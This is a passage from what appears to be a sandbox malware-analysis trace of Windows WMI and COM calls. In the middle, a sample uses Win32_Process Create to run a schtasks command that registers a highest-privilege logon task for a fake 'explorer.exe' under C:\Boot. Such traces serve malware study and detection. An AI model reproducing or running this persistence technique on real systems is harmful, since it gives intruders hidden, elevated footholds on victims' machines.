This=0x1b4b0060, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0117.520] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0060, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0117.520] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0060, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="root\\cimv2") returned 0x0 [0117.520] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4b05a0) returned 0x0 [0117.520] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0060, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0117.520] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0060, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0117.520] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0060, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="root") returned 0x0 [0117.520] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4b05a0, uIndex=0x0, pszName="root") returned 0x0 [0117.520] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0060, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0117.520] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0060, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="cimv2") returned 0x0 [0117.520] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4b05a0, uIndex=0x1, pszName="cimv2") returned 0x0 [0117.521] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b0060, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0117.521] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b0060, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0117.521] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b05a0, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0117.521] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b05a0, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0117.521] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b05a0, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0xc15) returned 0x0 [0117.521] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656ab0, puCount=0x1b30d508 | out: puCount=0x1b30d508*=0x2) returned 0x0 [0117.521] WbemDefPath:IWbemPath:GetText (in: This=0x656ab0, lFlags=4, puBuffLength=0x1b30d500*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d500*=0xf, pszText=0x0) returned 0x0 [0117.521] WbemDefPath:IWbemPath:GetText (in: This=0x656ab0, lFlags=4, puBuffLength=0x1b30d500*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d500*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0117.521] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656ab0, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0117.521] WbemDefPath:IWbemPath:GetText (in: This=0x656ab0, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0117.521] WbemDefPath:IWbemPath:GetText (in: This=0x656ab0, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0117.521] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b05a0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0117.521] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b05a0, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x1d, pszText=0x0) returned 0x0 [0117.521] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b05a0, lFlags=4, puBuffLength=0x1b30d590*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0117.521] CoGetContextToken (in: pToken=0x1b30cea0 | out: pToken=0x1b30cea0) returned 0x0 [0117.521] WbemLocator:IUnknown:AddRef (This=0x1b511578) returned 0x3 [0117.521] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511578, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cea0 | out: ppvObject=0x1b30cea0*=0x1b511578) returned 0x0 [0117.521] WbemLocator:IUnknown:Release (This=0x1b511578) returned 0x3 [0117.521] WbemLocator:IUnknown:Release (This=0x1b511578) returned 0x2 [0117.521] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b05a0, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0117.522] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b05a0, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0117.522] IWbemServices:GetObject (in: This=0x63cd70, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d520*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d520*=0x1b4d7c70, ppCallResult=0x0) returned 0x0 [0117.526] IWbemClassObject:GetMethod (in: This=0x1b4d7c70, wszName="Create", lFlags=0, ppInSignature=0x1b30d618, ppOutSignature=0x1b30d610 | out: ppInSignature=0x1b30d618*=0x1b4d86c0, ppOutSignature=0x1b30d610*=0x1b4d6eb0) returned 0x0 [0117.526] IWbemClassObject:SpawnInstance (in: This=0x1b4d86c0, lFlags=0, ppNewInstance=0x1b30d628 | out: ppNewInstance=0x1b30d628*=0x1b4d12b0) returned 0x0 [0117.527] IWbemClassObject:Get (in: This=0x1b4d12b0, wszName="CommandLine", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2775ba8*=0, plFlavor=0x2775bac*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2775ba8*=8, plFlavor=0x2775bac*=32) returned 0x0 [0117.527] IWbemClassObject:Get (in: This=0x1b4d12b0, wszName="CommandLine", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2775ba8*=8, plFlavor=0x2775bac*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2775ba8*=8, plFlavor=0x2775bac*=32) returned 0x0 [0117.527] IWbemClassObject:Put (This=0x1b4d12b0, wszName="CommandLine", lFlags=0, pVal=0x1b30d590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"explorer\" /sc ONLOGON /tr \"'C:\\Boot\\zh-TW\\explorer.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0117.527] IWbemClassObject:Get (in: This=0x1b4d12b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2775c38*=0, plFlavor=0x2775c3c*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2775c38*=13, plFlavor=0x2775c3c*=32) returned 0x0 [0117.527] IWbemClassObject:Get (in: This=0x1b4d12b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2775c38*=13, plFlavor=0x2775c3c*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2775c38*=13, plFlavor=0x2775c3c*=32) returned 0x0 [0117.528] IUnknown:QueryInterface (in: This=0x1b4d7fe0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ce00 | out: ppvObject=0x1b30ce00*=0x1b4d7fe0) returned 0x0 [0117.528] IUnknown:QueryInterface (in: This=0x1b4d7fe0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30ce90 | out: ppvObject=0x1b30ce90*=0x0) returned 0x80004002 [0117.528] IUnknown:QueryInterface (in: This=0x1b4d7fe0, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0117.528] IUnknown:QueryInterface (in: This=0x1b4d7fe0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c688 | out: ppvObject=0x1b30c688*=0x0) returned 0x80004002 [0117.528] IUnknown:AddRef (This=0x1b4d7fe0) returned 0x3 [0117.528] IUnknown:QueryInterface (in: This=0x1b4d7fe0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c548 | out: ppvObject=0x1b30c548*=0x0) returned 0x80004002 [0117.529] IUnknown:QueryInterface (in: This=0x1b4d7fe0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c4d0 | out: ppvObject=0x1b30c4d0*=0x0) returned 0x80004002 [0117.529] IUnknown:QueryInterface (in: This=0x1b4d7fe0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c4c0 | out: ppvObject=0x1b30c4c0*=0x1b4d7fe8) returned 0x0 [0117.529] IMarshal:GetUnmarshalClass (in: This=0x1b4d7fe8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c4e8 | out: pCid=0x1b30c4e8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0117.529] IUnknown:Release (This=0x1b4d7fe8) returned 0x3 [0117.529] CoGetContextToken (in: pToken=0x1b30c570 | out: pToken=0x1b30c570) returned 0x0 [0117.529] CoGetContextToken (in: pToken=0x1b30c9f0 | out: pToken=0x1b30c9f0) returned 0x0 [0117.529] IUnknown:QueryInterface (in: This=0x1b4d7fe0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0117.529] IUnknown:Release (This=0x1b4d7fe0) returned 0x2 [0117.529] CoGetContextToken (in: pToken=0x1b30ca20 | out: pToken=0x1b30ca20) returned 0x0 [0117.529] CoGetContextToken (in: pToken=0x1b30c920 | out: pToken=0x1b30c920) returned 0x0 [0117.529] IUnknown:QueryInterface (in: This=0x1b4d7fe0, riid=0x1b30ca80*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b30ca50 | out: ppvObject=0x1b30ca50*=0x0) returned 0x80004002 [0117.530] CoGetContextToken (in: pToken=0x1b30cbb0 | out: pToken=0x1b30cbb0) returned 0x0 [0117.530] IUnknown:QueryInterface (in: This=0x1b4d7fe0, riid=0x7ffa5f025148*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc80 | out: ppvObject=0x1b30cc80*=0x0) returned 0x80004002 [0117.530] CoGetContextToken (in: pToken=0x1b30cc40 | out: pToken=0x1b30cc40) returned 0x0 [0117.530] IUnknown:AddRef (This=0x1b4d7fe0) returned 0x3 [0117.530] IWbemClassObject:Put (This=0x1b4d12b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d590*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b4d7fe0, varVal2=0x0), Type=0) returned 0x0 [0117.530] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af8e0, puCount=0x1b30d648 | out: puCount=0x1b30d648*=0x2) returned 0x0 [0117.530] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af8e0, lFlags=4, puBuffLength=0x1b30d640*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d640*=0x22, pszText=0x0) returned 0x0 [0117.530] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af8e0, lFlags=4, puBuffLength=0x1b30d640*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d640*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0117.530] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656ab0, puCount=0x1b30d588 | out: puCount=0x1b30d588*=0x2) returned 0x0 [0117.530] WbemDefPath:IWbemPath:GetText (in: This=0x656ab0, lFlags=4, puBuffLength=0x1b30d580*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d580*=0xf, pszText=0x0) returned 0x0 [0117.530] WbemDefPath:IWbemPath:GetText (in: This=0x656ab0, lFlags=4, puBuffLength=0x1b30d580*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d580*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0117.531] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0117.531] WbemLocator:IUnknown:AddRef (This=0x1b511578) returned 0x3 [0117.531] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511578, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b511578) returned 0x0 [0117.531] WbemLocator:IUnknown:Release (This=0x1b511578) returned 0x3 [0117.531] WbemLocator:IUnknown:Release (This=0x1b511578) returned 0x2 [0117.531] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0117.531] WbemLocator:IUnknown:AddRef (This=0x1b511578) returned 0x3 [0117.531] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511578, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b511578) returned 0x0 [0117.531] WbemLocator:IUnknown:Release (This=0x1b511578) returned 0x3 [0117.531] WbemLocator:IUnknown:Release (This=0x1b511578) returned 0x2 [0117.531] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af8e0, lFlags=2, puBuffLength=0x1b30d650*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d650*=0xe, pszText=0x0) returned 0x0 [0117.531] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af8e0, lFlags=2, puBuffLength=0x1b30d650*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d650*=0xe, pszText="Win32_Process") returned 0x0 [0117.547] IWbemServices:ExecMethod (in: This=0x63cd70, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1b4d12b0, ppOutParams=0x1b30d5c0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b30d5c0*=0x1b469f40, ppCallResult=0x0) returned 0x0 [0117.711] IWbemClassObject:Get (in: This=0x1b469f40, wszName="ProcessId", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2775f48*=0, plFlavor=0x2775f4c*=0 | out: pVal=0x1b30d590*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x12ec, varVal2=0x0), pType=0x2775f48*=19, plFlavor=0x2775f4c*=0) returned 0x0 [0117.711] IWbemClassObject:Get (in: This=0x1b469f40, wszName="ProcessId", lFlags=0, pVal=0x1b30d5a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2775f48*=19, plFlavor=0x2775f4c*=0 | out: pVal=0x1b30d5a0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x12ec, varVal2=0x0), pType=0x2775f48*=19, plFlavor=0x2775f4c*=0) returned 0x0 [0117.711] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0117.711] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0117.711] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0117.711] IUnknown:Release (This=0x6124e8) returned 0x1 [0117.712] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b4d3100) returned 0x0 [0117.712] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d3100, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0117.712] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d3100, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4af520) returned 0x0 [0117.713] WbemDefPath:IUnknown:Release (This=0x1b4d3100) returned 0x0 [0117.713] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4af520) returned 0x0 [0117.713] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0117.713] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0117.713] WbemDefPath:IUnknown:AddRef (This=0x1b4af520) returned 0x3 [0117.713] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0117.713] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0117.713] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b4d2fc0) returned 0x0 [0117.713] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2fc0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0117.713] WbemDefPath:IUnknown:Release (This=0x1b4d2fc0) returned 0x3 [0117.713] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0117.713] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0117.713] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0117.714] WbemDefPath:IUnknown:Release (This=0x1b4af520) returned 0x2 [0117.714] WbemDefPath:IUnknown:Release (This=0x1b4af520) returned 0x1 [0117.714] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0117.714] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0117.714] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4af520) returned 0x0 [0117.714] WbemDefPath:IUnknown:AddRef (This=0x1b4af520) returned 0x3 [0117.714] WbemDefPath:IUnknown:Release (This=0x1b4af520) returned 0x2 [0117.714] WbemDefPath:IWbemPath:SetText (This=0x1b4af520, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0117.714] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af520, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0117.714] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af520, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0xe, pszText=0x0) returned 0x0 [0117.714] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af520, lFlags=2, puBuffLength=0x1b30d690*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d690*=0xe, pszText="Win32_Process") returned 0x0 [0117.714] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af520, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0117.714] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af520, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0117.714] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af520, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0117.714] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0117.714] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0117.714] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0117.714] IUnknown:Release (This=0x6124e8) returned 0x1 [0117.716] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, 